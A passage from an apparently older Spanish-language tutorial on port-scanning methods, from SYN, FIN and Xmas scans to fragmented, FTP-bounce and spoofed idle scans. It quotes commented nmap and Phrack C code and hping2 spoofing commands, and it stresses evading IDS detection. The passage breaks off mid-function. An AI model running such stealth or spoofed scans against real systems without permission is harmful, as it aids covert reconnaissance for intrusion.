reciente (12-2000) en USA, el escaneo de puertos no es ilegal,
mientras no se perjudique al host remoto.

Escaneando TCP con connect(): es el metodo basico que es usado
en los escaners de puertos. El problema es que abre una conexion a un
puerto de forma que puede ser detectado dicho intento y loggeado. La
parte positiva es que destaca por su rapidez y facilidad de
implementacion en codigo C. Puede ser utilizado con varios sockets en
paralelo para asi no tener que usar un bucle que haria mas largo el
proceso.

Por ejemplo en el PortScanner-1.2, encontramos:

...
while (((base_port + current_port) <= end_port) || !finished) {
sock = socket(PF_INET, SOCK_STREAM, 0);
...
if (connect(sock, (struct sockaddr *)&address2, sizeof(address2)) == 0)
...

y a continuacion en el code simplemente encontramos como
intenta averiguar el nombre de servicio asignado a cada puerto que va
encontrando abierto, pero no lo voy a copiar aqui porque es un poco
largo aunque facil. Vemos pues, como el funcionamiento de este
escaner es sumamente sencillo y su archivo portscanner.c es de facil
comprension para cualquier persona con ciertos conocimientos de C y
unix networking programming.


Escaneando TCP con SYN: Este metodo es un poco mejor que el
clasico expuesto anteriormente ya que no abre una conexion TCP por
completo, por eso el apelativo "half-open" en ingles. Se basa en
enviar un paquete SYN a un puerto y si se obtiene un SYN|ACK es
inequivocamente porque el puerto esta abierto y si se obtiene un RST
es indicacion de que el puerto esta cerrado. De estar abierto se
envia un RST para cerrar la conexion, pero esto lo hace
automaticamente el kernel. Esta tecnica seguramente hay en servidores
en los que no es detectada pero actualmente ya hay herramientas que
permiten su deteccion como iplog, ademas, necesitas privilegios de
root para construir dichos paquetes.

Por ejemplo, en el portscanner hecho por Uriel Maimon
(lifesux@cox.org) para su articulo en phrack 49 (Volume Seven, Issue
Forty-Nine), Port Scanning without the SYN flag, vemos como define:

...

0: half-open scanning (type 0, SYN)
/* se observa que admite este tipo de escaneo */
...

inline int tcpip_send(int socket,
struct sockaddr_in *address,
unsigned long s_addr,
unsigned long t_addr,
unsigned s_port,
unsigned t_port,
unsigned char tcpflags,
unsigned long seq,
unsigned long ack,
unsigned win,
char *datagram,
unsigned datasize)

/* para poder enviar paquetes configurables */
...


tcp->th_sport = htons(s_port);
tcp->th_dport = htons(t_port);
tcp->th_off = 5; /* 20 bytes, (no options) */
tcp->th_flags = tcpflags;
tcp->th_seq = htonl(seq);
tcp->th_ack = htonl(ack);
tcp->th_win = htons(win); /* we don't need any bigger, I guess. */

/* opciones tcp */

...

struct tcphdr *tcp = (struct tcphdr *)(packet+IPHDRSIZE);

...

if (tcp->th_flags & (TH_ACK | TH_SYN))
{
readport->state = 1;
printf(" (SYN+ACK)");
tcpip_send(rawsock,&destaddr,
spoof_addr,destaddr.sin_addr.s_addr
STCP_PORT,readport->n,
TH_RST,
readport->seq++, 0,
512,
NULL,
0);
}
/* se observa aqui el corte despues con RST despues de recibir
respuesta */
...

Pero, aun asi, te recomiendo que revises el codigo por
completo si quieres entender bien este metodo aplicado a codes en C,
ya que tampoco he pasteado todo lo importante sino lo que he
encontrado interesante segun repasaba el codigo, y quizas para
entenderlo hay que verlo integramente.


Escaneando TCP con FIN: si piensas que el servidor que esta
analizando puede detectar un escaner basado en la tecnica de envio de
paquetes SYN, siempre se puede recurrir a escaners basados en este
metodo. El hecho es que los puertos abiertos ante el envio de paquetes
FIN no hacen nada, los ignoran, en cambio los puertos cerrados
responden con un RST. Este metodo, pues, se basa en un bug de la
implementacion TCP en ciertos sistemas operativos pero hay en ciertos
sistemas que esto no funciona, como en el caso de las maquinas
Microsoft). Pero, en las ultimas releases de ciertos programas ya se
agrega la opcion incluso de detectar este tipo de scaneos. Asi por
ejemplo snort:

Fri 29 03:25:58 honorato snort[565]: SCAN-SYN FIN: w.x.y.z:0 -> z.y.w.98:53

Si quieres ver que realmente hay empresas que se preocupan
hasta de este tipo de escaners puedes revisar el gran numero de logs
de este tipo que hay en (por ejemplo):
http://www.sans.org/y2k/070200-2000.htm

Y en nmap encontramos (he saltado partes del code de la
func., cuidado ):

...

portlist fin_scan(struct hoststruct *target, unsigned short *portarray) {

/* la funcion, a continuacion de esto, define variables, no
lo he copiado, porque ocuparia demasiado.. */

...

timeout = (target->rtt)? target->rtt + 10000 : 1e5;

bzero(&stranger, sockaddr_in_size);
bzero(portno, o.max_sockets * sizeof(unsigned short));
bzero(trynum, o.max_sockets * sizeof(unsigned short));
starttime = time(NULL);

/* preliminares */

...

if (o.debugging || o.verbose)
printf("Initiating FIN stealth scan against %s (%s), sleep delay: %ld usecond
s\n", target->name, inet_ntoa(target->host), timeout);

/* se observa que indica que empieza el escaneo.. saca en
pantalla datos del scan */

...

if (!target->source_ip.s_addr) {
if (gethostname(myname, MAXHOSTNAMELEN) ||
!(myhostent = gethostbyname(myname)))
fatal("Your system is fucked up.\n");

memcpy(&target->source_ip, myhostent->h_addr_list[0], sizeof(struct in_addr))
;
if (o.debugging || o.verbose)
printf("We skillfully deduced that your address is %s\n",
inet_ntoa(target->source_ip));
}

/* comprobaciones de que localhost va bien y saca en pantala
nuestra direccion local */

...

if (!(pd = pcap_open_live(target->device, 92, 0, 1500, err0r)))
fatal("pcap_open_live: %s", err0r);

if (pcap_lookupnet(target->device, &localnet, &netmask, err0r) < 0)
fatal("Failed to lookup device subnet/netmask: %s", err0r);

p = strdup(inet_ntoa(target->host));
#ifdef HAVE_SNPRINTF
snprintf(filter, sizeof(filter), "tcp and src host %s and dst host %s and
dst port %d", p, inet_ntoa(target->source_ip), MAGIC_PORT );
#else
sprintf(filter, "tcp and src host %s and dst host %s and dst port %d", p,
inet_ntoa(target->source_ip), MAGIC_PORT );
#endif
free(p);
if (o.debugging)
printf("Packet capture filter: %s\n", filter);
if (pcap_compile(pd, &fcode, filter, 0, netmask) < 0)
fatal("Error compiling our pcap filter: %s\n", pcap_geterr(pd));
if (pcap_setfilter(pd, &fcode) < 0 )
fatal("Failed to set the pcap filter: %s\n", pcap_geterr(pd));

/* vemos como Fyodor hace usa de las librerias pcap y
despues de dos comprobaciones con pcap_open_live() y pcap_lookupnet(),
te recomiendo que si no estas familiarizado con la implementacion de
pcap en C que leas algo sobre el tema. La funcion strdup devuelve un
puntero a una nueva cadena que en realidad es duplicacion de la
variable que tiene la direccion remota. Despues puedes observar que
hace uso de snprintf de estar permitido su uso, y sino usa sprintf,
donde puedes ver el host local, host remoto y puerto. A continuacion
libera p con un free() y ves como monta el Packet capture filter con
pcap */

...

if ((rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
perror("socket trobles in fin_scan");

/* creacion de socket, y comprobacion de que funciona */

...

while(!done) {
for(i=0; i < o.max_sockets; i++) {
if (!portno[i] && portarray[j]) {
portno[i] = portarray[j++];
}
if (portno[i]) {
if (o.fragscan)
send_small_fragz(rawsd, &target->source_ip, &target->host, MAGIC_PORT, po
rtno[i], TH_FIN);
else send_tcp_raw(rawsd, &target->source_ip , &target->host, MAGIC_PORT,
portno[i], 0, 0, TH_FIN, 0, 0, 0);
usleep(10000); /* *WE* normally do not need this, but the target
lamer often does */
}
}

/* interesante :), bueno, puedes observar un bucle de uso
obvio y fijate en send_small_fragz() y send_tcp_raw(). Tambien
interesante el uso del temporizador, con comentario del propio fyodor
incluido */

...

{
if (bytes < (4 * ip->ip_hl) + 4)
continue;
if (ip->ip_src.s_addr == target->host.s_addr)
{
tcp = (struct tcphdr *) (((char *) ip) + 4 * ip->ip_hl);

if (tcp->th_flags & TH_RST)
{
badport = ntohs(tcp->th_sport);
if (o.debugging > 1) printf("Nothing open on port %d\n", badport)
; /* delete the port from active scanning */
for(i=0; i < o.max_sockets; i++)
if (portno[i] == badport)
{
if (o.debugging && trynum[i] > 0) printf("Bad port %d caught
on fin scan, try number %d\n", badport, trynum[i] + 1);
trynum[i] = 0;
portno[i] = 0;
break;
}
if (i == o.max_sockets)
{
if (o.debugging) printf("Late packet or
dupe, deleting port %d.\n", badport);
dupesinarow++;
if (target->ports) deleteport(&target->ports, badport,
IPPROTO_TCP);
}
}
else
if (o.debugging > 1)
{
printf("Strange packet from target%d! Here it is:\n",
ntohs(tcp->th_sport));
if (bytes >= 40)
readtcppacket(response,1); else hdump(response,bytes);
}
}
}

/* fijate dentro de if (tcp->th_flags & TH_RST) que si se
cumple comprueba if (o.debugging > 1) y abre un bucle, con dos if's en
su interior en los que tambien conviene fijarse. if (portno[i] ==
badport)...if (i == o.max_sockets)... y en el interior de los mismos
imprime los Bad port y borra puerto del escaneo por ser "Late packet
or dupe" respectivamente. Si no se cumple que (tcp->th_flags & TH_RST)
entonces comprueba si o.debuffing > 1 y de serlo mira lo que pasa en
el code */

...

/* adjust waiting time if neccessary */
if (dupesinarow > 6)
{
if (o.debugging || o.verbose)
printf("Slowing down send frequency due to multiple late packets.\n");
if (timeout < 10 * (target->rtt + 20000)) timeout *= 1.5;
else
{
printf("Too many late packets despite send frequency decreases, skipping
scan.\n");
return target->ports;
}
}

/* mas comprobaciones, para diferentes tipos de problemas,
tampoco veo necesario detallarlo otra vez ya que creo que se entiende
bastante bien de analizar todo el code */

...


someleft = 0;
for(i=0; i < o.max_sockets; i++)
if (portno[i]) {
if (++trynum[i] >= retries) {
if (o.verbose || o.debugging)
printf("Good port %d detected by fin_scan!\n", portno[i]);
addport(&target->ports, portno[i], IPPROTO_TCP, NULL);
send_tcp_raw( rawsd, &target->source_ip, &target->host, MAGIC_PORT, por
tno[i], 0, 0,
TH_FIN, 0, 0, 0);
portno[i] = trynum[i] = 0;
}
else someleft = 1;
}

if (!portarray[j] && (!someleft || --waiting_period <= 0)) done++;
}

/* voila, me parece que lo deja bien claro el printf, fijate en
addport() y send_tcp_raw(). */

...

if (o.debugging || o.verbose)
printf("The TCP stealth FIN scan took %ld seconds to scan %d ports.\n",
(long) time(NULL) - starttime, o.numports);
pcap_close(pd);
close(rawsd);
return target->ports;
}
/* bueno.. se acabo, curioso, eh? */


Escaneando TCP con 'reverse ident': esta tecnica se basa en
que el protocolo ident (lee rfc1413) te permite descubrir el usuario
propietario de un proceso conectado via TCP incluso si no ha sido el
proceso el que ha iniciado la conexion. Esto, permite saber los
propietarios de cada daemon que escucha en puertos abiertos. El
problema es que se necesita abrir una conexion TCP completa y por lo
tanto es facilmente detectable. Un ejemplo de codigo que aplica esto
lo encontramos en el nmap de Fyodor:

...

int getidentinfoz(struct in_addr target, int localport, int remoteport,
char *owner) {

/* inicio de la funcion en el que se aplica dicho metodo, no
voy a copiar las definiciones de variables. */

...

owner[0] = '\0';
if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{ perror("Socket troubles"); exit(1); }
sock.sin_family = AF_INET;
sock.sin_addr.s_addr = target.s_addr;
sock.sin_port = htons(113);
usleep(50000);

/* me parece que esta muy claro la creacion de un socket() y
la definicion de la familia, addr y puerto en lo referente a sock. */

...

res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
if (res < 0 ) {
if (o.debugging || o.verbose)
printf("identd port not active now for some reason ... hope we didn't break
it!\n");
close(sd);
return 0;
}

/* en el supuesto de que el connect falle, es decir < 0
entonces comprueba if (o.debugging || o.verbose) y ya ves tu.. */

...


sprintf(request,"%hi,%hi\r\n", remoteport, localport);
if (o.debugging > 1) printf("Connected to identd, sending request: %s", request
);
if (write(sd, request, strlen(request) + 1) == -1) {
perror("identd write");
close(sd);
return 0;
}
else if ((res = read(sd, response, 1024)) == -1) {
perror("reading from identd");
close(sd);
return 0;
}
else {
close(sd);
if (o.debugging > 1) printf("Read %d bytes from identd: %s\n", res, response)
;

/* se observa como si la o.debugging > 1 entonces es que que
se ha conseguido conexion identd. Despues vemos el intento de write()
y de read() con identd y la salida del numero de bytes leidos desde
identd en caso de llevarse a cabo */

...


if ((p = strchr(response, ':'))) {
p++;
if ((q = strtok(p, " :"))) {
if (!strcasecmp( q, "error")) {
if (strstr(response, "HIDDEN-USER") || strstr(response, "hidden-user"))
{
printf("identd returning HIDDEN-USER, giving up on it\n");
return -1;
}
if (o.debugging) printf("ERROR returned from identd for port %d\n", rem
oteport);
return 0;
}
if ((os = strtok(NULL, " :"))) {
if ((p = strtok(NULL, " :"))) {
if ((q = strchr(p, '\r'))) *q = '\0';
if ((q = strchr(p, '\n'))) *q = '\0';
strncpy(owner, p, 512);
owner[512] = '\0';
}
}
}
}
}
return 1;
}

/* se observa como despues si localiza : en la cadena response
(la enviada por identd). Despues, se observa el intento de averiguar
el usuario, cuya salida comprueba que no sea HIDDEN-USER o hidden-user
ya que esto querria decir que no se puede saber */


Fragmentation scanning: Este metodo se basa en una tecnica no
totalmente nueva sino que es una variacion de otras tecnicas, ya que
en realidad, y como mostrare en el ejemplo de codigo es un scan basado
en SYN o FIN pero con pequeños paquetes fragmentados. En realidad, se
mandan una pareja de pequeños fragmentos IP al host remoto a
estudiar. El principal problema es que algunos programas tienen
problemas para tratar este tipo de paquetes. La ventaja es que este
metodo de escaneo es mas dificil de detectar y filtrar por los IDS.
A continuacion, detallo un ejemplo en C de dicha tecnica:

...

int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
int sport, int dport, int flags) {

/* inicio de la funcion en la que se ve un ejemplo practico de
uso de este metodo */

...

struct pseudo_header {
/* for computing TCP checksum, see TCP/IP Illustrated p. 145 */
unsigned long s_addy;
unsigned long d_addr;
char zer0;
unsigned char protocol;
unsigned short length;
};

/* haz lo que dice fyodor en su comentario y te enteraras un
poco mas de lo que significa esta estructura. Ademas, te recomiendo no
solo que veas la p. 145 sino que leas TCP/IP Illustrated vol. 1 y 2
si quieres realmente tener un control del funcionamiento de redes
TCP/IP */

...

char packet[sizeof(struct ip) + sizeof(struct tcphdr) + 100];
struct ip *ip = (struct ip *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip));
struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct
ip) - sizeof(struct pseudo_header));
char *frag2 = packet + sizeof(struct ip) + 16;
struct ip *ip2 = (struct ip *) (frag2 - sizeof(struct ip));
int res;
struct sockaddr_in sock;
int id;

/* definiciones de estructuras y variables, fijate en las
estructuras de tipo ip, tcphdr y pseudo_header. Realmente necesitas
conceptos de programacion de sockets bajo C si quieres entenderlo; te
recomiendo Unix Networking Programming vol. 1 y 2 de R.
Stevens. Tampoco me parece el proposito de este manual explicar en si
lo que es la programacion de sockets en C, unicamente mostrar el
codigo usado para las tecnicas de escaneo especificadas. */

...

sock.sin_family = AF_INET;
sock.sin_port = htons(dport);

sock.sin_addr.s_addr = victim->s_addr;

bzero((char *)packet, sizeof(struct ip) + sizeof(struct tcphdr));

/* definicion de familia, puerto y direccion de sock.. */

...

pseudo->s_addy = source->s_addr;
pseudo->d_addr = victim->s_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));

tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = rand() + rand();

tcp->th_off = 5 /*words*/;
tcp->th_flags = flags;

tcp->th_win = htons(2048); /* Who cares */

tcp->th_sum = in_cksum((unsigned short *)pseudo,
sizeof(struct tcphdr) + sizeof(struct pseudo_header));


/* Estamos hablando de raw sockets. Vemos pues, la definicion
de variables de las estructuras pseudo (pseudo_header) y tcp (tcphdr)
*/

...

bzero((char *) packet, sizeof(struct ip));
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_len = htons(sizeof(struct ip) + 16);
id = ip->ip_id = rand();
ip->ip_off = htons(MORE_FRAGMENTS);
ip->ip_ttl = 255;
ip->ip_p = IPPROTO_TCP;
ip->ip_src.s_addr = source->s_addr;
ip->ip_dst.s_addr = victim->s_addr;
#if HAVE_IP_IP_SUM
ip->ip_sum= in_cksum((unsigned short *)ip, sizeof(struct ip));
#endif
if (o.debugging > 1) {
printf("Raw TCP packet fragment #1 creation completed! Here it is:\n");
hdump(packet,20);
}
if (o.debugging > 1)
printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
sd, ntohs(ip->ip_len), inet_ntoa(*victim),
(int) sizeof(struct sockaddr_in));
if ((res = sendto(sd, packet, ntohs(ip->ip_len), 0,
(struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
{
perror("sendto in send_syn_fragz");
return -1;
}
if (o.debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

/* Vemos como inicialmente se prepara la cabecera ip del
primer frag que se envia al host remoto; puedes ver como se rellenan
las variables de la estructura ip. Despues, se ve como comprueba si la
creacion del paquete ha sido satisfactoria y lo intenta enviar. */

...

bzero((char *) ip2, sizeof(struct ip));
ip2->ip_v= 4;
ip2->ip_hl = 5;
ip2->ip_len = htons(sizeof(struct ip) + 4);
ip2->ip_id = id;
ip2->ip_off = htons(2);
ip2->ip_ttl = 255;
ip2->ip_p = IPPROTO_TCP;
ip2->ip_src.s_addr = source->s_addr;
ip2->ip_dst.s_addr= victim->s_addr;
#if HAVE_IP_IP_SUM
ip2->ip_sum = in_cksum((unsigned short *)ip2, sizeof(struct ip));
#endif
if (o.debugging > 1) {
printf("Raw TCP packet fragment creation completed! Here it is:\n");
hdump(packet,20);
}
if (o.debugging > 1)

printf("\nTrying sendto(%d , ip2, %d, 0 , %s , %d)\n", sd,
ntohs(ip2->ip_len), inet_ntoa(*victim), (int) sizeof(struct sockaddr_i
n));
if ((res = sendto(sd, (void *)ip2, ntohs(ip2->ip_len), 0,
(struct sockaddr *)&sock, (int) sizeof(struct sockaddr_in)))
== -1)
{
perror("sendto in send_tcp_raw frag #2");
return -1;
}

return 1;
}

/* se ve en esta ultima parte de codigo la creacion del
segundo paquete, comprobacion de que todo va bien e intento de envio
al host remoto. */


FTP bouncer: bueno, este metodo de escaneo se basa en la
caracteristica de algunos servidores de ftp que permiten usarlo como
"proxy", es decir, crear una server-DTP activo que te permita enviar
cualquier fichero a cualquier otro server. La tecnica en si para el
proposito de escaneo de puertos consiste en conectar por ftp al server
y mediante el comando PORT declarar el "User-DTP" pasivo que escucha
en el puerto que queremos saber si esta abierto. Despues, se actua de
la siguiente forma: se hace un LIST del directorio actual y el
resultado sera enviado al canal Server-DTP. Si el puerto que
comprobamos esta abierto todo ocurre con normalidad generando las
respuestas 150 y 226 pero si el puerto esta cerrado obtendremos "425
Can't build data connection: Connection refused.". Este metodo, es en
parte no lo suficientemente rapido pero aun asi puede ser util ya que
es dificil de tracear por parte del server remoto.
Un ejemplo de implementacion de esta tecnica en codigo C: (nmap)

...

portlist bounce_scan(struct hoststruct *target, unsigned short *portarray,
struct ftpinfo *ftp) {

/* vemos el inicio de la funcion que aplica esta tecnica */

...

int starttime, res , sd = ftp->sd, i=0;
char *t = (char *)&target->host;
int retriesleft = FTP_RETRIES;
char recvbuf[2048];
char targetstr[20];
char command[512];

#ifndef HAVE_SNPRINTF
sprintf(targetstr, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[3]));
#else
snprintf(targetstr, 20, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[
3]));
#endif

/* simplemente definicion de variables y usa snprintf o
sprintf segun si se tiene o no */

...

starttime = time(NULL);
if (o.verbose || o.debugging)
printf("Initiating TCP ftp bounce scan against %s (%s)\n",
target->name, inet_ntoa(target->host));
for(i=0; portarray[i]; i++) {
#ifndef HAVE_SNPRINTF
sprintf(command, "PORT %s%i\r\n", targetstr, portarray[i]);
#else
snprintf(command, 512, "PORT %s%i\r\n", targetstr, portarray[i]);
#endif

/* inicio del escaneo, definicion de bucle para ir cambiando
puerto (portarray) */

...

if (send(sd, command, strlen(command), 0) < 0 ) {
perror("send in bounce_scan");
if (retriesleft) {
if (o.verbose || o.debugging)
printf("Our ftp proxy server hung up on us! retrying\n");
retriesleft--;
close(sd);
ftp->sd = ftp_anon_connect(ftp);
if (ftp->sd < 0) return target->ports;
sd = ftp->sd;
i--;
}
else {
fprintf(stderr, "Our socket descriptor is dead and we are out of retries.
Giving up.\n");
close(sd);
ftp->sd = -1;
return target->ports;
}
} else {
res = recvtime(sd, recvbuf, 2048,15);
if (res <= 0) perror("recv problem from ftp bounce server\n");
else {
recvbuf[res] = '\0';
if (o.debugging) printf("result of port query on port %i: %s",
portarray[i], recvbuf);
if (recvbuf[0] == '5') {
if (portarray[i] > 1023) {
fprintf(stderr, "Your ftp bounce server sucks, it won't let us feed bog
us ports!\n");
exit(1);
}


/* en esta parte de code mira que envia con send() y comprueba
que el envio ha sido correcto y la recepcion tambien, comprueba que
hace uso de ftp_anon_connect(), funcion que podras encontrar en el
codigo fuente de nmap en nmap.c, pero que yo no he copiado aqui por no
alargar mas la explicacion, el nombre ya indica obviamente para que
sirve. Puedes ver que cuando recibe bien y "if (o.debugging) entonces
saca en pantalla el resultado del query al puerto. */

...

else {
fprintf(stderr, "Your ftp bounce server doesn't allow priviliged ports,
skipping them.\n");
while(portarray[i] && portarray[i] < 1024) i++;
if (!portarray[i]) {
fprintf(stderr, "And you didn't want to scan any unpriviliged ports.
Giving up.\n");
/* close(sd);
ftp->sd = -1;
return *ports;*/
/* screw this gentle return crap! This is an emergency! */
exit(1);
}
}
}

/* en caso de que no se consiga query a ningun puerto */

...

else
if (send(sd, "LIST\r\n", 6, 0) > 0 ) {
res = recvtime(sd, recvbuf, 2048,12);
if (res <= 0) perror("recv problem from ftp bounce server\n");
else {
recvbuf[res] = '\0';
if (o.debugging) printf("result of LIST: %s", recvbuf);
if (!strncmp(recvbuf, "500", 3)) {
/* fuck, we are not aligned properly */
if (o.verbose || o.debugging)
printf("misalignment detected ... correcting.\n");
res = recvtime(sd, recvbuf, 2048,10);
}
if (recvbuf[0] == '1' || recvbuf[0] == '2') {
if (o.verbose || o.debugging) printf("Port number %i appears good.\
n", portarray[i]);
addport(&target->ports, portarray[i], IPPROTO_TCP, NULL);
if (recvbuf[0] == '1') {
res = recvtime(sd, recvbuf, 2048,5);
recvbuf[res] = '\0';
if (res > 0) {
if (o.debugging) printf("nxt line: %s", recvbuf);
if (recvbuf[0] == '4' && recvbuf[1] == '2' &&
recvbuf[2] == '6') {


deleteport(&target->ports, portarray[i], IPPROTO_TCP);
if (o.debugging || o.verbose)
printf("Changed my mind about port %i\n", portarray[i]);
}
}
}
}
}
}
}
}
}

/* empieza con el LIST al server. Ademas vemos que comprueba
si no hay una alineacion correcta y la corrige. Finalmente añade los
puertos que comprueba que estan abiertos y.. (ver siguiente
comentario) */

if (o.debugging || o.verbose)
printf("Scanned %d ports in %ld seconds via the Bounce scan.\n",
o.numports, (long) time(NULL) - starttime);
return target->ports;
}

/* final de la funcion, devuelve los puertos abiertos, final
del bounce scan */

Envio de ACKs: este metodo se basa en el envio de un paquete
ACK. El metodo de analisis de la respuesta RST puede ser:

1. fijarse en el valor del TTL
2. fijarse en el valor de win

1. Si el puerto esta abierto entonces encontramos en la
respuesta un valor de ttl menor de 64.
2. Si el puerto esta abierto encontramos un valor de win en la
respuesta distinto de 0.

Pero, esta tecnica de escaneo no se cumple en todo tipo de
sistemas y su implementacion no esta muy clara. Si quieres saber mas sobre este metodo puedes leer Phrack 49; articulo 15 de Uriel Maimon.


Null scan: este metodo se basa en el envio de paquetes sin
ningun flag en la cabecera TCP, pero, el incluir en los bits
reservados (RES1, RES2) no influye.

En caso de que el puerto este abierto, no se recibe respuesta
del host remoto pero en el caso de estar cerrado se recibe un
RST. Este tipo de escaneo solo funciona en caso de que el host remoto
sea unix (BSD sockets). En la version 1.49 del Nmap aun no estaba
implementado, actualmente si; pero no tengo las fuentes de la ultima
version asi que tendras que buscarlo.

Xmas scan: este metodo es digamos antonimo al NULL ya que en el
todas los flags estan activados y de nuevo los bits reservados no
influyen en el resultado del escaneo y de nuevo solo funcionara contra
host remotos que sean unix.

En caso de que el puerto este abierto, no se recibe respuesta y
en caso de que este cerrado se recibe un RST. En lo que se refiere a
las fuentes pasa lo mismo que con el null scan.


Spoofed scan a traves de un 'host dormido': este metodo de
escaneo destaca, claro está, porque aunque sea detectable, no detecta
al que está escaneando sino al 'host dormido' (considerado A) (de
actividad 0) que es utilizado para el escaneo. Para esta tecnica se
puede usar hping2 y se basa en la variacion del id de los paquetes que
envia A (host dormido). Para que se entienda: Se usara hping2 para
enviar paquetes TCP con unos flags determinados.

Exactamente lo que se hace es monitorizar la actividad de A
para asi obtener el incremento del id que inicialmente es de +1 ya que
no tiene actividad. A continuacion, se enviaran un paquete SYN
spoofeado con la ip del host A al puerto que queramos saber si esta
abierto del host remoto (considerado B). Si el puerto de B al que
enviamos dichos paquetes esta abierto devolvera un paquete SYN y un
ACK a A (host dormido), forzando a B a mandar un RST, ya que A no
inicio dicha conexion y no quiere continuar la comunicacion. Esto,
hace que A (host silencioso), tenga actividad y por tanto que cambie
drasticamente su id, por tanto, sabremos de esta forma que el puerto
esta abierto.

Lo que hay que puntualizar es que es no es muy sencillo encontrar
un host remoto en el que realmente no haya actividad y ademas no todos
los citados servidores sirven puesto que no incrementas su numero
inicial de secuencia de la misma forma. Para obtener una
monitorizacion de la actividad de A (host dormido) se tendra que:

$ hping2 A -r
HPING B (ppp0 xxx.yyy.zzz.jjj): no flags are set, 40 headers + 0 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=xxx win=0 time=1.3 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=89 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
...

Para enviar un paquete SYN spoofeado:

$ hping2 B -a A -S -p puerto
ppp0 default routing interface selected (according to /proc)
HPING 127.0.0.1 (ppp0 127.0.0.1): S set, 40 headers + 0 data bytes
...

Y entonces si el puerto al que hemos enviado los paquetes
está abierto, vemos como en la monitorizacion de A se observa:

...
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=84 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=91 ms
...


Escaneando UDP mediante error de ICMP port unreachable: En
este metodo encontramos una primera diferencia, se usa el protocolo
UDP, no TCP. Aunque dicho protocolo es mas simple, es mas dificil
usarlo para escanear, debido a que los puertos abiertos no usan
digamos la funcion fatica y los puertos cerrados no tienen porque
enviar un mensaje de error ante nuestros envios. Pero, la mayoria de
los hosts mandan un mensaje de error ICMP_PORT_UNREACH cuando envias
un paquete (UDP) a un puerto UDP cerrado. Esto puede ser usado para,
por exclusion, saber los puertos que estan abiertos pero no es muy
viable, porque tampoco se tiene la seguridad de que el error de ICMP
llegue a nosotros y es ciertamente lento, e incluso mas cuando nos
encontramos con un host que limita el numero de mensajes de ICMP a
enviar, como se ha comentado anteriormente en los metodos para
averiguar el tipo de OS que presenta una maquina. Ademas, necesitas
acceso de root para poder construir raw ICMP socket para leer los
puertos inalcanzables. Un ejemplo de aplicacion de esta tecnica en C:
(nmap)

portlist udp_scan(struct hoststruct *target, unsigned short *portarray) {

/* inicio de la funcion que pone en practica este metodo */

...

int icmpsock, udpsock, tmp, done=0, retries, bytes = 0, res, num_out = 0;
int i=0,j=0, k=0, icmperrlimittime, max_tries = UDP_MAX_PORT_RETRIES;
unsigned short outports[MAX_SOCKETS_ALLOWED];
unsigned short numtries[MAX_SOCKETS_ALLOWED];
struct sockaddr_in her;
char senddata[] = "blah\n";
unsigned long starttime, sleeptime;
struct timeval shortwait = {1, 0 };
fd_set fds_read, fds_write;

bzero( (char *) outports, o.max_sockets * sizeof(unsigned short));
bzero( (char *) numtries, o.max_sockets * sizeof(unsigned short));

/* como puedes ver, preliminares, pero importantes, puesto
que sino no entenderas el resto del code. */


icmperrlimittime = 60000;
sleeptime = (target->rtt)? ( target->rtt) + 30000 : 1e5;
if (o.wait) icmperrlimittime = o.wait;
starttime = time(NULL);
FD_ZERO(&fds_read);
FD_ZERO(&fds_write);
if (o.verbose || o.debugging)
printf("Initiating UDP (raw ICMP version) scan against %s (%s) using wait dela
y of %li usecs.\n", target->name, inet_ntoa(target->host), sleeptime);
if ((icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
perror("Opening ICMP RAW socket");
if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
perror("Opening datagram socket");

unblock_socket(icmpsock);
her.sin_addr = target->host;
her.sin_family = AF_INET;

/* se observa como icmperrlimittime hace que no estropee el
scan el hecho de que algunos SOs pongan limites al numero de mensajes
de error ICMP por tiempo. Abre raw socket y dgram socket. */

...

while(!done) {
tmp = num_out;
for(i=0; (i < o.max_sockets && portarray[j]) || i < tmp; i++) {
close(udpsock);
if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
perror("Opening datagram socket");
if ((i > tmp && portarray[j]) || numtries[i] > 1) {
if (i > tmp) her.sin_port = htons(portarray[j++]);
else her.sin_port = htons(outports[i]);
FD_SET(udpsock, &fds_write);
FD_SET(icmpsock, &fds_read);
shortwait.tv_sec = 1; shortwait.tv_usec = 0;
usleep(icmperrlimittime);
res = select(udpsock + 1, NULL, &fds_write, NULL, &shortwait);
if (FD_ISSET(udpsock, &fds_write))
bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
(struct sockaddr *) &her, sizeof(struct sockaddr_in));
else {
